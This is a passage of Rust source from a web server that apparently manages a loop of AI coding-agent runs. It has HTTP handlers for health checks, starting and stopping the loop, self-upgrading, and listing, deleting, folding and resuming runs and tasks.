1826 idle: Some(status.idle),
1827 pid: status.pid,
1828 current: status.current,
1829 completed: Some(status.completed),
1830 stale_for_secs: age,
1831 }
1832 }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836 blocking(move || {
1837 let reading = daemon::read_status(&ui.home);
1841 let loop_rev = ui.lock_loop().rev;
1845 let update = cached_update_view(&ui.repo);
1846 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847 Ok(Json(HealthView {
1848 version: env!("CARGO_PKG_VERSION"),
1849 home: ui.home.display().to_string(),
1850 queue_rev: ui.queue.revision(),
1851 runs_rev: runs_revision(&ui.runs),
1852 questions_rev: ui.questions.revision(),
1853 talks_rev: ui.talks.revision(),
1854 notifications_rev: ui.notices.revision(),
1855 notifications_unread: ui.notices.count_unread(),
1856 loop_rev,
1857 runs_unreadable: runs_unreadable(&ui.runs),
1858 questions_open: ui.questions.count_open(),
1859 questions_needs_owner: ui.questions.count_needs_owner(),
1860 daemon: DaemonView::of(reading.clone()),
1861 looping: ui.loop_view(reading),
1862 disk: DiskView::of(&ui),
1863 update,
1864 upgrade,
1865 }))
1866 })
1867 .await
1868}
1869
1870#[derive(Debug, Serialize)]
1872struct LoopView {
1873 running: bool,
1875 stopping: bool,
1883 parking: bool,
1891 owned: bool,
1899 repo: String,
1902 merge: Option<String>,
1905 last_error: Option<String>,
1913 daemon: DaemonView,
1916}
1917
1918#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928 pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936 let reading = reading?;
1937 if !reading.running(Timestamp::now()) {
1938 return None;
1939 }
1940 match reading.pid {
1941 Some(pid) if pid == std::process::id() => None,
1942 pid => Some(Self { pid }),
1946 }
1947 }
1948
1949 fn who(&self) -> String {
1952 match self.pid {
1953 Some(pid) => format!("another magi process (pid {pid})"),
1954 None => "another magi process".to_owned(),
1955 }
1956 }
1957}
1958
1959type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965fn launch_daemon(
1967 opts: daemon::Opts,
1968 stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970 Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973#[derive(Debug, Default)]
1975struct LoopState {
1976 live: Option<Live>,
1978 rev: u64,
1986 last_error: Option<String>,
1989 resume_after_handover: bool,
1994}
1995
1996#[derive(Debug)]
1998struct Live {
1999 stop: daemon::Stop,
2001 handle: tokio::task::JoinHandle<()>,
2006 opts: daemon::Opts,
2010}
2011
2012impl Live {
2013 fn alive(&self) -> bool {
2015 !self.handle.is_finished()
2016 }
2017}
2018
2019fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026 state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031 blocking(move || {
2032 let reading = daemon::read_status(&ui.home);
2033 Ok(Json(ui.loop_view(reading)))
2034 })
2035 .await
2036}
2037
2038#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046 running: bool,
2047 #[serde(default)]
2057 park: bool,
2058}
2059
2060async fn loop_post(
2068 State(ui): State<Arc<Ui>>,
2069 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074 blocking(move || {
2075 let reading = daemon::read_status(&ui.home);
2076 let foreign = Foreign::of(reading.as_ref());
2077 if body.running {
2078 ui.start_loop(foreign)?;
2079 } else {
2080 ui.stop_loop(foreign, body.park)?;
2081 }
2082 Ok(Json(ui.loop_view(reading)))
2083 })
2084 .await
2085}
2086
2087#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090 from: String,
2092 to: Option<String>,
2094 parked: Option<String>,
2096 detail: String,
2098}
2099
2100async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124 let reading = daemon::read_status(&ui.home);
2125 if let Some(other) = Foreign::of(reading.as_ref()) {
2126 return Err(ApiError::conflict(format!(
2127 "the loop belongs to {}, so replacing this binary would leave \
2128 that process running an old one against the same queue. Upgrade \
2129 where it was started.",
2130 other.who()
2131 )));
2132 }
2133
2134 if crate::updater::disabled_by_env() {
2140 return Ok((
2141 StatusCode::OK,
2142 Json(UpgradeView {
2143 from: env!("CARGO_PKG_VERSION").to_owned(),
2144 to: None,
2145 parked: None,
2146 detail: format!(
2147 "Automatic updates are disabled by {}. Nothing was parked \
2148 and nothing restarted.",
2149 crate::updater::NO_AUTOUPDATE_ENV
2150 ),
2151 }),
2152 ));
2153 }
2154
2155 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160 let from = env!("CARGO_PKG_VERSION").to_owned();
2161 let latest = match crate::updater::Checker::new(&cfg.update) {
2162 Some(checker) => checker
2163 .newer_release()
2164 .await
2165 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166 None => None,
2167 };
2168 let Some(latest) = latest else {
2169 return Ok((
2170 StatusCode::OK,
2171 Json(UpgradeView {
2172 from,
2173 to: None,
2174 parked: None,
2175 detail: "Already on the newest release. Nothing was parked \
2176 and nothing restarted."
2177 .to_owned(),
2178 }),
2179 ));
2180 };
2181
2182 let parked = ui.park_for_upgrade()?;
2185 let detail = match &parked {
2186 Some(run) => format!(
2191 "Run {} is parking at its next step, which can take as long as \
2192 the step it is on - up to an hour for an implement wave. The \
2193 deck replaces itself once it parks, comes back, and the loop \
2194 carries that run on from where it stopped. Nothing is lost if \
2195 you close this.",
2196 crate::run::short_of(run)
2197 ),
2198 None => "The deck replaces itself and comes back. Nothing was in \
2199 flight to park."
2200 .to_owned(),
2201 };
2202
2203 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207 progress.parked_run = parked.clone();
2208 let _ = updater::write_progress(&ui.home, &progress);
2209
2210 let home = ui.home.clone();
2211 let looping = ui.looping();
2212 tokio::spawn(async move {
2213 if let Err(e) = upgrade_and_restart(home.clone()).await {
2214 tracing::error!("the upgrade did not complete: {e:#}");
2215 lock_or_recover(&looping).resume_after_handover = false;
2216 if let Some(mut progress) = updater::read_progress(&home) {
2217 progress.fail(format!("{e:#}"));
2218 let _ = updater::write_progress(&home, &progress);
2219 }
2220 }
2221 });
2222
2223 Ok((
2224 StatusCode::ACCEPTED,
2225 Json(UpgradeView {
2226 from,
2227 to: Some(latest.tag_name),
2228 parked,
2229 detail,
2230 }),
2231 ))
2232}
2233
2234async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239 crate::updater::run_self_update(true, false, true).await?;
2242 tracing::info!("binary replaced - asking the server to hand over");
2243 if let Some(mut progress) = updater::read_progress(&home) {
2244 progress.advance(updater::Stage::Replaced);
2245 let _ = updater::write_progress(&home, &progress);
2246 }
2247 HANDOVER.notify_one();
2248 Ok(())
2249}
2250
2251#[derive(Debug, Serialize)]
2257struct RunSummary {
2258 id: String,
2259 short: String,
2260 status: String,
2261 done: bool,
2262 instruction: String,
2263 title: String,
2264 repo: String,
2265 repo_name: String,
2266 created_at: String,
2267 updated_at: String,
2268 candidates: usize,
2269 viable: usize,
2270 judges: usize,
2271 winner: Option<char>,
2272 reviews: usize,
2273 quota_losses: usize,
2274 event: Option<String>,
2275 superseded_by: Option<String>,
2280 waiting: bool,
2287 live: crate::run::Liveness,
2291 pr: Option<crate::run::PrRecord>,
2293 unmerged_by_design: bool,
2299}
2300
2301impl RunSummary {
2302 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2303 Self {
2304 id: state.id.clone(),
2305 short: state.short().to_owned(),
2306 status: status_word(state.status),
2307 done: state.status.done(),
2308 unmerged_by_design: state.unmerged_by_design(),
2309 instruction: state.instruction.clone(),
2310 title: title_from(&state.instruction, TITLE_MAX),
2311 repo: state.repo.display().to_string(),
2312 repo_name: state
2313 .repo
2314 .file_name()
2315 .map(|n| n.to_string_lossy().into_owned())
2316 .unwrap_or_default(),
2317 created_at: state.created_at.to_string(),
2318 updated_at: state.updated_at.to_string(),
2319 candidates: state.candidates.len(),
2320 viable: state.viable().len(),
2321 judges: state.config.graph.judges,
2322 winner: state.winner().map(|c| c.label),
2323 reviews: state.reviews.len(),
2324 quota_losses: state.quota.len(),
2325 event: state.events.last().map(|e| e.message.clone()),
2326 waiting,
2327 live,
2328 superseded_by: None,
2331 pr: state.pr.clone(),
2332 }
2333 }
2334}
2335
2336fn status_word(status: RunStatus) -> String {
2339 status.as_str().to_owned()
2343}
2344
2345#[derive(Debug, Deserialize)]
2347struct ListQuery {
2348 #[serde(default)]
2349 limit: Option<usize>,
2350}
2351
2352async fn runs_list(
2353 State(ui): State<Arc<Ui>>,
2354 Query(q): Query<ListQuery>,
2355) -> ApiResult<Json<Vec<RunSummary>>> {
2356 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2357 blocking(move || {
2358 let superseded = ui.queue.superseded();
2359 let open_runs: HashSet<String> = ui
2363 .questions
2364 .list()
2365 .into_iter()
2366 .filter(|q| q.status.open())
2367 .map(|q| q.run)
2368 .collect();
2369 let claimed: HashSet<String> =
2370 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2371 .into_iter()
2372 .map(|c| c.run)
2373 .collect();
2374 let states = run_ids(&ui.runs)
2375 .into_iter()
2376 .filter_map(|id| read_run(&ui.runs, &id).ok())
2381 .take(limit);
2382 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2383 let summaries = summarize(
2384 states,
2385 &open_runs,
2386 &claimed,
2387 &superseded,
2388 |p| probe.borrow_mut().status(p),
2389 |p| probe.borrow_mut().started_at(p),
2390 );
2391 Ok(Json(summaries))
2392 })
2393 .await
2394}
2395
2396fn summarize<I, S, D>(
2402 states: I,
2403 open_runs: &HashSet<String>,
2404 claimed: &HashSet<String>,
2405 superseded: &HashMap<String, String>,
2406 mut status_q: S,
2407 mut identity_q: D,
2408) -> Vec<RunSummary>
2409where
2410 I: IntoIterator<Item = RunState>,
2411 S: FnMut(u32) -> Option<bool>,
2412 D: FnMut(u32) -> Option<String>,
2413{
2414 states
2415 .into_iter()
2416 .map(|state| {
2417 let waiting = open_runs.contains(&state.id);
2418 let live =
2419 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2420 let mut row = RunSummary::of(&state, waiting, live);
2421 row.superseded_by = superseded
2422 .get(&state.id)
2423 .map(String::as_str)
2424 .map(crate::run::short_of)
2425 .map(str::to_owned);
2426 row
2427 })
2428 .collect()
2429}
2430
2431#[derive(Debug, Serialize)]
2438struct RunDetailView {
2439 #[serde(flatten)]
2440 state: RunState,
2441 instruction_md: Vec<md::Node>,
2442 live: crate::run::Liveness,
2457 unmerged_by_design: bool,
2462 superseded_by: Option<String>,
2470 latest_attempt: Option<LatestAttempt>,
2484 task: Option<TaskRef>,
2487}
2488
2489#[derive(Debug, Serialize)]
2491struct TaskRef {
2492 id: String,
2493 short: String,
2494 title: String,
2495}
2496
2497#[derive(Debug, Serialize)]
2499struct LatestAttempt {
2500 id: String,
2501 short: String,
2502 resolved: bool,
2513}
2514
2515impl RunDetailView {
2516 fn of(
2517 state: RunState,
2518 live: crate::run::Liveness,
2519 superseded_by: Option<String>,
2520 latest_attempt: Option<LatestAttempt>,
2521 task: Option<TaskRef>,
2522 ) -> Self {
2523 Self {
2524 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2525 live,
2526 unmerged_by_design: state.unmerged_by_design(),
2527 superseded_by,
2528 latest_attempt,
2529 task,
2530 state,
2531 }
2532 }
2533}
2534
2535async fn run_detail(
2536 State(ui): State<Arc<Ui>>,
2537 Path(id): Path<String>,
2538) -> ApiResult<Json<RunDetailView>> {
2539 blocking(move || {
2540 let id = resolve_run(&ui.runs, &id)?;
2541 let state = read_run(&ui.runs, &id)?;
2542 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2543 let live = state.liveness(daemon_claims);
2544 let superseded_by = ui
2545 .queue
2546 .superseded_by(&id)
2547 .as_deref()
2548 .map(crate::run::short_of)
2549 .map(str::to_owned);
2550 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2554 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2555 short: head.short().to_owned(),
2556 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2557 id: head.id,
2558 })
2559 });
2560 let task = ui
2561 .queue
2562 .list()
2563 .into_iter()
2564 .find(|t| t.runs.contains(&id))
2565 .map(|t| TaskRef {
2566 short: t.short().to_owned(),
2567 title: t.title.clone(),
2568 id: t.id,
2569 });
2570 Ok(Json(RunDetailView::of(
2571 state,
2572 live,
2573 superseded_by,
2574 latest_attempt,
2575 task,
2576 )))
2577 })
2578 .await
2579}
2580
2581async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2590 let (id, unreadable) = {
2591 let ui = Arc::clone(&ui);
2592 blocking(move || {
2593 let id = resolve_run(&ui.runs, &id)?;
2594 match read_run(&ui.runs, &id) {
2595 Ok(state) => {
2596 let in_flight =
2597 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2598 state
2599 .ensure_can_delete(in_flight)
2600 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2601 let dir = ui.runs.join(&id);
2602 std::fs::remove_dir_all(&dir)
2603 .with_context(|| format!("remove run directory {}", dir.display()))?;
2604 Ok((id, false))
2605 }
2606 Err(_) => {
2607 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2611 return Err(ApiError::conflict(format!(
2612 "run {id} is being worked on by a live daemon right now"
2613 )));
2614 }
2615 Ok((id, true))
2616 }
2617 }
2618 })
2619 .await?
2620 };
2621 if unreadable {
2622 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2623 .await
2624 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2625 }
2626 let ui = Arc::clone(&ui);
2627 let done = id.clone();
2628 blocking(move || {
2629 ui.questions.abandon_for_run(
2632 &done,
2633 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2634 )?;
2635 Ok(())
2636 })
2637 .await?;
2638 Ok(StatusCode::NO_CONTENT)
2639}
2640
2641async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2665 let (id, state) = {
2666 let ui = Arc::clone(&ui);
2667 blocking(move || {
2668 let id = resolve_run(&ui.runs, &id)?;
2669 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2670 return Err(ApiError::conflict(format!(
2671 "run {id} is being worked on by a live daemon right now"
2672 )));
2673 }
2674 let state = read_run(&ui.runs, &id).ok();
2675 Ok((id, state))
2676 })
2677 .await?
2678 };
2679 let removed = match state {
2680 Some(mut state) => {
2681 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2682 .await
2683 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2684 if removed.is_empty() {
2689 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2690 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2691 }
2692 removed
2693 }
2694 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2695 .await
2696 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2697 };
2698 Ok(Json(FoldView {
2699 run: id,
2700 removed_count: removed.len(),
2701 removed,
2702 }))
2703}
2704
2705#[derive(Debug, Serialize)]
2707struct FoldView {
2708 run: String,
2709 removed: Vec<String>,
2711 removed_count: usize,
2712}
2713
2714#[derive(Debug, Deserialize)]
2717struct FoldMergedBody {
2718 #[serde(default)]
2719 pr_url: String,
2720}
2721
2722async fn run_fold_merged(
2742 State(ui): State<Arc<Ui>>,
2743 Path(id): Path<String>,
2744 Json(body): Json<FoldMergedBody>,
2745) -> ApiResult<Json<FoldMergedView>> {
2746 let pr_url = body.pr_url.trim().to_owned();
2747 if pr_url.is_empty() {
2748 return Err(ApiError::bad_request("pr_url is required"));
2749 }
2750 let (id, mut state) = {
2751 let ui = Arc::clone(&ui);
2752 blocking(move || {
2753 let id = resolve_run(&ui.runs, &id)?;
2754 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2755 return Err(ApiError::conflict(format!(
2756 "run {id} is being worked on by a live daemon right now"
2757 )));
2758 }
2759 let state = read_run(&ui.runs, &id)?;
2760 Ok((id, state))
2761 })
2762 .await?
2763 };
2764 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2765 .await
2766 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2767 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2768 .await
2769 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2770 Ok(Json(FoldMergedView {
2771 run: id,
2772 before: before.as_str().to_owned(),
2773 after: after.as_str().to_owned(),
2774 removed,
2775 }))
2776}
2777
2778#[derive(Debug, Serialize)]
2780struct FoldMergedView {
2781 run: String,
2782 before: String,
2784 after: String,
2786 removed: Vec<String>,
2788}
2789
2790async fn run_resume(
2810 State(ui): State<Arc<Ui>>,
2811 Path(id): Path<String>,
2812) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2813 let (id, state) = {
2814 let ui = Arc::clone(&ui);
2815 blocking(move || {
2816 let id = resolve_run(&ui.runs, &id)?;
2817 let state = read_run(&ui.runs, &id)?;
2818 Ok((id, state))
2819 })
2820 .await?
2821 };
2822 if let Some(to) = &state.released_to {
2823 return Err(ApiError::conflict(format!(
2824 "run {} can no longer be resumed: its worktree was released to run {}, which \
2825 took the branch over.",
2826 state.short(),
2827 crate::run::short_of(to)
2828 )));
2829 }
2830 if !state.status.resumable() {
2831 return Err(ApiError::conflict(format!(
2832 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2833 state.short(),
2834 status_word(state.status)
2835 )));
2836 }
2837 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2842 .into_iter()
2843 .next()
2844 {
2845 return Err(ApiError::conflict(format!(
2846 "the loop is running run {} right now; stop it first, or wait for \
2847 it to finish, before resuming a run by hand.",
2848 crate::run::short_of(&work.run)
2849 )));
2850 }
2851 let _resume = ui.begin_resume(&id)?;
2852
2853 let queued = RunSummary::of(
2856 &state,
2857 !ui.questions.open_for(&id).is_empty(),
2858 state.liveness(false),
2859 );
2860 let run = id.clone();
2861 tokio::spawn(async move {
2862 let _resume = _resume;
2863 match crate::graph::Runner::resume(&run) {
2864 Ok(mut runner) => {
2865 if let Err(e) = runner.execute().await {
2866 tracing::warn!("resume of run {run} stopped: {e:#}");
2867 }
2868 }
2869 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2872 }
2873 });
2874 Ok((StatusCode::ACCEPTED, Json(queued)))
2875}
2876
2877async fn run_report(
2878 State(ui): State<Arc<Ui>>,
2879 Path(id): Path<String>,
2880) -> ApiResult<impl IntoResponse> {
2881 let text = blocking(move || {
2882 let id = resolve_run(&ui.runs, &id)?;
2883 let state = read_run(&ui.runs, &id)?;
2887 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2888 let live = state.liveness(daemon_claims);
2889 Ok(format!(
2890 "{}{}",
2891 report::run(&state),
2892 report::active_seats(&state, live)
2893 ))
2894 })
2895 .await?;
2896 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2897}
2898
2899#[derive(Debug, Serialize)]
2905struct TaskView {
2906 #[serde(flatten)]
2907 task: Task,
2908 source_label: String,
2909 status_str: &'static str,
2910 instruction_md: Vec<md::Node>,
2914 waits_on: Vec<String>,
2918 stuck_roots: Vec<String>,
2921}
2922
2923impl From<Task> for TaskView {
2924 fn from(task: Task) -> Self {
2925 Self {
2926 source_label: task.source.label(),
2927 status_str: task.status.as_str(),
2928 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2929 waits_on: Vec::new(),
2930 stuck_roots: Vec::new(),
2931 task,
2932 }
2933 }
2934}
2935
2936impl TaskView {
2937 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2938 let waits_on = inv.waits_on(&task);
2939 let stuck_roots = inv
2940 .stuck_roots(&task)
2941 .iter()
2942 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2943 .collect();
2944 Self {
2945 waits_on,
2946 stuck_roots,
2947 ..Self::from(task)
2948 }
2949 }
2950}
2951
2952#[derive(Debug, Default, Deserialize)]
2955#[serde(default)]
2956struct ReposQuery {
2957 refresh: u8,
2958}
2959
2960async fn repos_list(
2967 State(ui): State<Arc<Ui>>,
2968 Query(q): Query<ReposQuery>,
2969) -> ApiResult<Json<Vec<repos::Repo>>> {
2970 let refresh = q.refresh != 0;
2971 blocking(move || {
2972 let (cfg, _) = Config::discover(&ui.repo, None)?;
2973 Ok(Json(ui.repos_cache.list(
2974 &cfg.repos.roots,
2975 Duration::from_secs(cfg.repos.scan_ttl),
2976 refresh,
2977 )))
2978 })
2979 .await
2980}
2981
2982async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2983 blocking(move || {
2984 let tasks = ui.queue.list();
2985 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2986 Ok(Json(
2987 tasks
2988 .into_iter()
2989 .map(|t| TaskView::with_inventory(t, &inv))
2990 .collect(),
2991 ))
2992 })
2993 .await
2994}
2995
2996#[derive(Debug, Serialize)]
2998struct TaskRunView {
2999 n: usize,
3001 id: String,
3002 short: String,
3003 kind: &'static str,
3005 status: Option<&'static str>,
3007 readable: bool,
3009 provisional: bool,
3011 description: String,
3013 outcome: String,
3015 created_at: Option<Timestamp>,
3016 pr: Option<String>,
3017 exit: RunExit,
3019 attempt: AttemptCost,
3021 branch: Option<String>,
3023}
3024
3025#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3027#[serde(rename_all = "snake_case")]
3028enum RunExit {
3029 Unreadable,
3030 Interrupted,
3032 Parked,
3033 QuotaStall,
3034 ResumedQuotaStall,
3038 Merged,
3039 Ready,
3040 Superseded,
3041 Stalled,
3043 HeldWithPr,
3045 NoopHeld,
3046 Spent,
3048 InProgress,
3049}
3050
3051#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3052#[serde(rename_all = "snake_case")]
3053enum AttemptCost {
3054 Spent,
3055 Refunded,
3056 None,
3057 Unknown,
3059}
3060
3061impl RunExit {
3062 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3063 let Some(s) = s else {
3064 return Self::Unreadable;
3065 };
3066 let status = s.status;
3067 if resumed_later {
3068 Self::Interrupted
3069 } else if s.parked {
3070 Self::Parked
3071 } else if !status.done() {
3072 Self::InProgress
3073 } else if matches!(status, RunStatus::Merged) {
3074 Self::Merged
3075 } else if matches!(status, RunStatus::Ready) {
3076 Self::Ready
3077 } else if matches!(status, RunStatus::Superseded) {
3078 Self::Superseded
3079 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3080 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3081 {
3082 if resumed {
3083 Self::ResumedQuotaStall
3084 } else {
3085 Self::QuotaStall
3086 }
3087 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3088 Self::HeldWithPr
3089 } else if matches!(status, RunStatus::VerifiedNoop) {
3090 Self::NoopHeld
3091 } else if matches!(status, RunStatus::Stalled) {
3092 Self::Stalled
3093 } else {
3094 Self::Spent
3095 }
3096 }
3097
3098 fn cost(self) -> AttemptCost {
3099 match self {
3100 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3101 Self::Merged
3102 | Self::Ready
3103 | Self::Stalled
3104 | Self::HeldWithPr
3105 | Self::NoopHeld
3106 | Self::Spent => AttemptCost::Spent,
3107 Self::InProgress => AttemptCost::None,
3108 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3109 AttemptCost::Unknown
3110 }
3111 }
3112 }
3113
3114 fn edge_label(self, status: Option<&str>) -> String {
3116 match self {
3117 Self::Unreadable => "record unreadable".to_owned(),
3118 Self::Interrupted => "interrupted before the run finished".to_owned(),
3119 Self::Parked => "parked, attempt refunded".to_owned(),
3120 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3121 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3122 Self::Merged => "merged".to_owned(),
3123 Self::Ready => "ready, not merged".to_owned(),
3124 Self::Superseded => "superseded by a later attempt".to_owned(),
3125 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3126 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3127 Self::NoopHeld => "verified no-op".to_owned(),
3128 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3129 Self::InProgress => "in progress".to_owned(),
3130 }
3131 }
3132
3133 fn explains(self, end: TaskStatus) -> bool {
3136 match self {
3137 Self::Merged => end == TaskStatus::Done,
3138 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3139 Self::Unreadable | Self::Superseded | Self::Ready => true,
3140 _ => end != TaskStatus::Done,
3141 }
3142 }
3143}
3144
3145#[derive(Debug, Serialize)]
3147struct TaskDetailView {
3148 #[serde(flatten)]
3149 task: TaskView,
3150 max_attempts: usize,
3153 history: Vec<TaskRunView>,
3154 flow: FlowView,
3155 runs_unreadable: usize,
3157 attempts_note: &'static str,
3159}
3160
3161const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3162and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3163on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3164in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3165
3166fn review_branch_of(instruction: &str) -> Option<&str> {
3169 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3170 rest.split('`').next().filter(|b| !b.is_empty())
3171}
3172
3173struct RunSlot<'a> {
3175 n: usize,
3177 resumed: bool,
3179 resumed_later: Option<usize>,
3181 prior: Option<(&'a str, RunStatus)>,
3183 last: bool,
3184}
3185
3186fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3189 let RunSlot {
3190 n,
3191 resumed,
3192 resumed_later,
3193 prior,
3194 last,
3195 } = at;
3196 let short = run::short_of(id).to_owned();
3197 let Some(s) = state else {
3198 return TaskRunView {
3199 n,
3200 id: id.to_owned(),
3201 short,
3202 kind: "unknown",
3203 status: None,
3204 readable: false,
3205 provisional: false,
3206 description:
3207 "This run's record could not be read by this build (written by a different \
3208 magi, or removed), so what kind of attempt it was is unknown."
3209 .to_owned(),
3210 outcome: String::new(),
3211 created_at: None,
3212 pr: None,
3213 exit: RunExit::Unreadable,
3214 attempt: AttemptCost::Unknown,
3215 branch: None,
3216 };
3217 };
3218 let branch = review_branch_of(&s.instruction);
3219 let kind = if resumed {
3220 "resume"
3221 } else if branch.is_some() {
3222 "review"
3223 } else if task.solo || s.candidates.len() == 1 {
3224 "solo"
3225 } else {
3226 "competition"
3227 };
3228 let mut description = match kind {
3229 "resume" => {
3230 format!("Resumed run {short}: the same run carried on instead of competing again.")
3231 }
3232 "review" => format!(
3233 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3234 branch.unwrap_or_default()
3235 ),
3236 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3237 _ => format!(
3238 "Competition: {} candidates judged blind.",
3239 s.candidates.len().max(1)
3240 ),
3241 };
3242 if !resumed && let Some((p, st)) = prior {
3243 description.push_str(&format!(
3244 " A retry: run {p} before it ended {}.",
3245 st.display_label()
3246 ));
3247 }
3248
3249 let status = s.status;
3250 let provisional = matches!(status, RunStatus::Stalled)
3251 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3252 let head = if resumed_later.is_some() {
3253 String::new()
3254 } else {
3255 match status {
3256 RunStatus::Merged => "Merged.".to_owned(),
3257 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3258 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3259 RunStatus::Stalled => {
3260 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3261 .to_owned()
3262 }
3263 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3264 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3265 RunStatus::VerifiedNoop => {
3266 "Verified no-op: the candidates found nothing to change.".to_owned()
3267 }
3268 other if other.done() => format!("Ended {}.", other.display_label()),
3269 other => format!("In progress ({}).", other.display_label()),
3270 }
3271 };
3272 let why = if let Some(k) = resumed_later {
3273 let cause = if s.quota.is_empty() {
3277 "the operator parked it for an upgrade"
3278 } else {
3279 "an agent hit its rate limit"
3280 };
3281 format!(
3282 " This pass stopped before the run finished ({cause}), so the attempt was handed back; pass #{k} resumed the same run, and the status shown is the run's current one."
3283 )
3284 } else if s.parked {
3285 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3286 .to_owned()
3287 } else if !status.done()
3288 || matches!(
3289 status,
3290 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded
3291 )
3292 {
3293 String::new()
3294 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
